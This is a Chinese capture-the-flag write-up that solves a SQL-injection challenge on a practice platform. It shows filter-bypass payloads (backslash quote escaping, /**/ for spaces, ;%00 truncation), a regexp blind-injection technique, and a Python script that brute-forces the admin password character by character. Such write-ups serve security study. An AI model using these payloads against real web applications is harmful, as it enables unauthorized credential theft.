[NCTF2019]SQLi --BUUCTF --详解

目录

解题过程

regexp注入(正则注入)

分析


解题过程

打开连接

[NCTF2019]SQLi --BUUCTF --详解_第1张图片

这提示给得,好像有点简单,先上fuzz跑,顺便自己测试一下

[NCTF2019]SQLi --BUUCTF --详解_第2张图片 

额,fuzz全给过掉了,看来通常的方法不太管用,用dirsearch扫描一下目录,线程设置为1,延时0.07,太快会429,

[NCTF2019]SQLi --BUUCTF --详解_第3张图片

扫了半天发现能用的就只有robots.txt,访问看看

[NCTF2019]SQLi --BUUCTF --详解_第4张图片

继续访问

[NCTF2019]SQLi --BUUCTF --详解_第5张图片

得到提示,这题过滤了好多关键字,只要password的密码等于admin的密码就能拿到flag了,但是怎么拿呢?看了dalao的wp才发现有regexp注入

regexp注入(正则注入)

这个注入方式呢相当于布尔盲注吧,若是猜对了就返回正确的页面,我们本地测试一下正则,先看一下全部数据,然后^匹配e开头的password

[NCTF2019]SQLi --BUUCTF --详解_第6张图片

 再匹配一下a开头的,这里是没有的

返回为空 ,所以我们可以利用正则匹配这种方式实现注入

分析

回到题目里,提示给了串SQL语句

select * from users where username='' and passwd=''

想要猜解admin的密码需要用到admin,可是题目过滤掉了admin,但是我们能用其他方法绕过,让username=\,将语句后面的单引号给转义掉,我们可以构造这样的payload

username=\&passwd=||sql;%00

因为题目过滤掉了空格,空格能用内联注释符/**/代替

注释符#和--  被过滤掉了,这里用;%00截断注释后面的内容

放入原查询语句相当于

select * from users where username='\' and passwd='||sql;%00'

select * from users where sql;%00

 这时候就能利用正则进行注入了构建payload

username=\&passwd=||/**/passwd/**/regexp/**/"^x";%00

相当于

select * from users where /**/passwd/**/regexp/**/"^x";%00

先用burpsuite跑一下(注意该一下爆破频率,不然429),看看正确与错误的情况,好写脚本跑

[NCTF2019]SQLi --BUUCTF --详解_第7张图片

 [NCTF2019]SQLi --BUUCTF --详解_第8张图片

跑完后发现错误的话会有个js的弹窗出来,跑对了就没有 ,这里可以看到密码第一位是y(或Y,不区分大小写),以此写个python脚本

#buuctf web [NCTF2019]SQLi
import requests
import string


url = "http://2e2494c3-b85d-49f4-81b8-63ee389a9c30.node4.buuoj.cn:81/"
pw_fuzz = string.ascii_lowercase + string.digits + "_"      #密码字典:小写字母和数字还有下划线
pw = ""     #admin的密码


while True:
    for i in pw_fuzz:
        data={
            'username':'\\',
            'passwd':'||/**/passwd/**/regexp/**/"^{}";\x00'.format((pw+i))
        }
        res = requests.post(url=url,data=data).text
        if "alert" not in res:
            pw = pw + i
            print(pw)

[NCTF2019]SQLi --BUUCTF --详解_第9张图片 

 拿到密码

you_will_never_know7788990

登入后拿到flag

你可能感兴趣的:(BUUCTF之WEB,CTF,SQL注入)